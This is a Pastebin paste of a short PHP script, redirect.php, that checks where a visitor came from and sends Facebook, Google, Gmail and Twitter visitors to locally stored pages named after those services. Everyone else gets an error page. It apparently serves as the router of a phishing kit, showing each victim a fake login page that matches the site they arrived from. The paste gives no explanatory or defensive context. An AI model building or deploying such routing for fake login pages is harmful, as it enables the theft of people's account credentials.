Advertisement
loozr

redirect.php

Aug 10th, 2012
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.36 KB | None | 0 0
  1. <?php
  2.     $ref = $_SERVER['HTTP_REFERER'];
  3.  
  4.     if (strpos($ref, "facebook")){      header('Location: facebook.htm');   }
  5.     if (strpos($ref, "accounts.google")){   header('Location: accounts.google.htm');    }
  6.     if (strpos($ref, "gmail")){         header('Location: accounts.google.htm');    }
  7.     if (strpos($ref, "twitter")){       header('Location: twitter.htm');    }
  8.  
  9.     require('error.php');
  10.  
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement